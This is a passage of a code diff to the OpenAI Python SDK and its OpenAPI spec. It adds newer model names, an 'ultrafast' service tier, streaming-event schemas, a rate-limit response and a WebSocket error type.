- - $ref: '#/components/schemas/BetaResponseImageGenCallGeneratingEvent'
- - $ref: '#/components/schemas/BetaResponseImageGenCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseImageGenCallPartialImageEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDoneEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallFailedEvent'
- - $ref: '#/components/schemas/BetaResponseMCPCallInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseMCPListToolsCompletedEvent'
- - $ref: '#/components/schemas/BetaResponseMCPListToolsFailedEvent'
- - $ref: '#/components/schemas/BetaResponseMCPListToolsInProgressEvent'
- - $ref: '#/components/schemas/BetaResponseOutputTextAnnotationAddedEvent'
- - $ref: '#/components/schemas/BetaResponseQueuedEvent'
- - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDeltaEvent'
- - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDoneEvent'
- discriminator:
- propertyName: type
BetaResponsesClientEvent:
discriminator:
propertyName: type
@@ -77303,6 +77998,8 @@ components:
- $ref: '#/components/schemas/BetaResponseProperties'
- type: object
properties:
+ service_tier:
+ $ref: '#/components/schemas/BetaServiceTierResponses'
truncation:
deprecated: true
anyOf:
@@ -77513,6 +78210,64 @@ components:
type: integer
minimum: 0
maximum: 20
+ BetaResponseStreamEvent:
+ description: Event emitted while a response is streamed.
+ anyOf:
+ - $ref: '#/components/schemas/BetaResponseAudioDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseAudioDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseAudioTranscriptDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseAudioTranscriptDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCodeDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseCodeInterpreterCallInterpretingEvent'
+ - $ref: '#/components/schemas/BetaResponseCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseContentPartAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseContentPartDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseCreatedEvent'
+ - $ref: '#/components/schemas/BetaResponseErrorEvent'
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseFileSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseFunctionCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseFailedEvent'
+ - $ref: '#/components/schemas/BetaResponseIncompleteEvent'
+ - $ref: '#/components/schemas/BetaResponseOutputItemAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseOutputItemDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryPartDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningSummaryTextDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningTextDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseReasoningTextDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseRefusalDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseRefusalDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseTextDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseTextDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseWebSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallGeneratingEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseImageGenCallPartialImageEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallFailedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPCallInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsCompletedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsFailedEvent'
+ - $ref: '#/components/schemas/BetaResponseMCPListToolsInProgressEvent'
+ - $ref: '#/components/schemas/BetaResponseOutputTextAnnotationAddedEvent'
+ - $ref: '#/components/schemas/BetaResponseQueuedEvent'
+ - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDeltaEvent'
+ - $ref: '#/components/schemas/BetaResponseCustomToolCallInputDoneEvent'
+ discriminator:
+ propertyName: type
OAuthErrorCode:
anyOf:
- enum:
@@ -77652,6 +78407,7 @@ components:
- gpt-5.6-terra
- gpt-5.6-luna
- gpt-5.5
+ - gpt-5.5-2026-04-23
- gpt-5.4
- gpt-5.4-mini
- gpt-5.4-nano
@@ -78057,6 +78813,19 @@ components:
- $ref: '#/components/schemas/ScrollParam'
- $ref: '#/components/schemas/TypeParam'
- $ref: '#/components/schemas/WaitParam'
+ responses:
+ TooManyRequests:
+ description: The request was rejected because a rate limit was exceeded.
+ headers:
+ Retry-After:
+ description: The minimum number of seconds to wait before retrying. This header is returned when the server has computed a retry delay and may be omitted for 429 responses that require user action.
+ schema:
+ type: integer
+ minimum: 1
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
securitySchemes:
ApiKeyAuth:
type: http
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 6c837efa0d..74c646d3a3 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -54,12 +54,11 @@
from ....types.beta.beta_compacted_response import BetaCompactedResponse
from ....types.websocket_connection_options import WebSocketConnectionOptions
from ....types.beta.beta_response_includable import BetaResponseIncludable
-from ....types.beta.beta_response_error_event import BetaResponseErrorEvent
from ....types.beta.beta_response_input_param import BetaResponseInputParam
from ....types.beta.beta_response_prompt_param import BetaResponsePromptParam
from ....types.beta.beta_response_stream_event import BetaResponseStreamEvent
from ....types.beta.beta_responses_client_event import BetaResponsesClientEvent
-from ....types.beta.beta_responses_server_event import BetaResponsesServerEvent
+from ....types.beta.beta_responses_server_event import BetaResponseWsError, BetaResponsesServerEvent
from ....types.beta.beta_response_input_item_param import BetaResponseInputItemParam
from ....types.beta.beta_response_text_config_param import BetaResponseTextConfigParam
from ....types.beta.beta_responses_client_event_param import BetaResponsesClientEventParam
@@ -122,6 +121,7 @@ def create(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -210,6 +210,8 @@ def create(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -231,7 +233,8 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -405,6 +408,10 @@ def create(
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -512,6 +519,7 @@ def create(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -600,6 +608,8 @@ def create(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -621,7 +631,8 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -801,6 +812,10 @@ def create(
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -901,6 +916,7 @@ def create(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -989,6 +1005,8 @@ def create(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -1010,7 +1028,8 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -1190,6 +1209,10 @@ def create(
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -1288,6 +1311,7 @@ def create(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -1376,6 +1400,8 @@ def create(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -1397,7 +1423,8 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Literal[True] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -1766,6 +1793,7 @@ def compact(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -1854,6 +1882,8 @@ def compact(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -2050,6 +2080,7 @@ async def create(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -2138,6 +2169,8 @@ async def create(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -2159,7 +2192,8 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -2333,6 +2367,10 @@ async def create(
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -2440,6 +2478,7 @@ async def create(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -2528,6 +2567,8 @@ async def create(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -2549,7 +2590,8 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -2729,6 +2771,10 @@ async def create(
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -2829,6 +2875,7 @@ async def create(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -2917,6 +2964,8 @@ async def create(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -2938,7 +2987,8 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -3118,6 +3168,10 @@ async def create(
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -3216,6 +3270,7 @@ async def create(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -3304,6 +3359,8 @@ async def create(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -3325,7 +3382,8 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[response_create_params.Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Literal[True] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -3694,6 +3752,7 @@ async def compact(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -3782,6 +3841,8 @@ async def compact(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -4315,7 +4376,7 @@ async def dispatch_events(self) -> None:
generic = self._event_handler_registry.get_handlers("event")
if event_type == "error" and not specific and not generic:
- if isinstance(event, BetaResponseErrorEvent):
+ if isinstance(event, BetaResponseWsError):
raise OpenAIError(f"WebSocket error: {event}")
for handler in specific:
@@ -4764,7 +4825,7 @@ def dispatch_events(self) -> None:
generic = self._event_handler_registry.get_handlers("event")
if event_type == "error" and not specific and not generic:
- if isinstance(event, BetaResponseErrorEvent):
+ if isinstance(event, BetaResponseWsError):
raise OpenAIError(f"WebSocket error: {event}")
for handler in specific:
@@ -4982,6 +5043,7 @@ def create(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -5070,6 +5132,8 @@ def create(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -5091,7 +5155,8 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[beta_responses_client_event_param.ResponseCreateReasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
stream_id: str | Omit = omit,
@@ -5193,6 +5258,7 @@ async def create(
"gpt-5.6-terra",
"gpt-5.6-luna",
"gpt-5.5",
+ "gpt-5.5-2026-04-23",
"gpt-5.4",
"gpt-5.4-mini",
"gpt-5.4-nano",
@@ -5281,6 +5347,8 @@ async def create(
"o4-mini-deep-research-2025-06-26",
"computer-use-preview",
"computer-use-preview-2025-03-11",
+ "gpt-5.5-pro",
+ "gpt-5.5-pro-2026-04-23",
"gpt-5-codex",
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
@@ -5302,7 +5370,8 @@ async def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[beta_responses_client_event_param.ResponseCreateReasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[bool] | Omit = omit,
stream_id: str | Omit = omit,
diff --git a/src/openai/resources/files.py b/src/openai/resources/files.py
index 19db280256..aee4fd1ab2 100644
--- a/src/openai/resources/files.py
+++ b/src/openai/resources/files.py
@@ -299,7 +299,7 @@ def content(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
- Returns the contents of the specified file.
+ Returns a response containing the contents of the specified file.
Args:
extra_headers: Send extra headers
@@ -338,7 +338,7 @@ def retrieve_content(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> str:
"""
- Returns the contents of the specified file.
+ Returns a response containing the contents of the specified file.
Args:
extra_headers: Send extra headers
@@ -653,7 +653,7 @@ async def content(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> _legacy_response.HttpxBinaryResponseContent:
"""
- Returns the contents of the specified file.
+ Returns a response containing the contents of the specified file.
Args:
extra_headers: Send extra headers
@@ -692,7 +692,7 @@ async def retrieve_content(
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> str:
"""
- Returns the contents of the specified file.
+ Returns a response containing the contents of the specified file.
Args:
extra_headers: Send extra headers
diff --git a/src/openai/resources/responses/api.md b/src/openai/resources/responses/api.md
index 891e0f9796..7a9b53afa2 100644
--- a/src/openai/resources/responses/api.md
+++ b/src/openai/resources/responses/api.md
@@ -24,6 +24,7 @@ from openai.types.responses import (
InlineSkillSource,
LocalEnvironment,
LocalSkill,
+ McpToolCallError,
NamespaceTool,
Response,
ResponseApplyPatchToolCall,
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index ee918fed35..1bbf1fdb3a 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -80,12 +80,11 @@
from ...types.websocket_connection_options import WebSocketConnectionOptions
from ...types.responses.response_includable import ResponseIncludable
from ...types.shared_params.responses_model import ResponsesModel
-from ...types.responses.response_error_event import ResponseErrorEvent
from ...types.responses.response_input_param import ResponseInputParam
from ...types.responses.response_prompt_param import ResponsePromptParam
from ...types.responses.response_stream_event import ResponseStreamEvent
from ...types.responses.responses_client_event import ResponsesClientEvent
-from ...types.responses.responses_server_event import ResponsesServerEvent
+from ...types.responses.responses_server_event import ResponseWsError, ResponsesServerEvent
from ...types.responses.response_input_item_param import ResponseInputItemParam
from ...types.responses.response_text_config_param import ResponseTextConfigParam
from ...types.responses.responses_client_event_param import ResponsesClientEventParam
@@ -152,7 +151,8 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -323,6 +323,10 @@ def create(
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -434,7 +438,8 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -611,6 +616,10 @@ def create(
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -715,7 +724,8 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -892,6 +902,10 @@ def create(
Responses or Chat Completions. The response will show `service_tier=priority`
regardless of if you specify `service_tier=fast` or `priority` in your
request.
+ - If set to 'ultrafast', then the request will be processed with the
+ access-controlled Ultrafast Processing service tier. This tier is currently
+ available for `gpt-5.6-sol`; a response served through it will show
+ `service_tier=ultrafast`.
- When not set, the default behavior is 'auto'.
When the `service_tier` parameter is set, the response body will include the
@@ -994,7 +1008,8 @@ def create(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Literal[True] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
@@ -1105,7 +1120,7 @@ def stream(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -1148,7 +1163,7 @@ def stream(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream_options: Optional[response_create_params.StreamOptions] | Omit = omit,
temperature: Optional[float] | Omit = omit,
@@ -1310,7 +1325,7 @@ def parse(
prompt_cache_retention: Optional[Literal["in_memory", "24h"]] | Omit = omit,
reasoning: Optional[Reasoning] | Omit = omit,
safety_identifier: Optional[str] | Omit = omit,
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast"]] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] | Omit = omit,
store: Optional[bool] | Omit = omit,
stream: Optional[Literal[False]] | Literal[True] | Omit = omit,
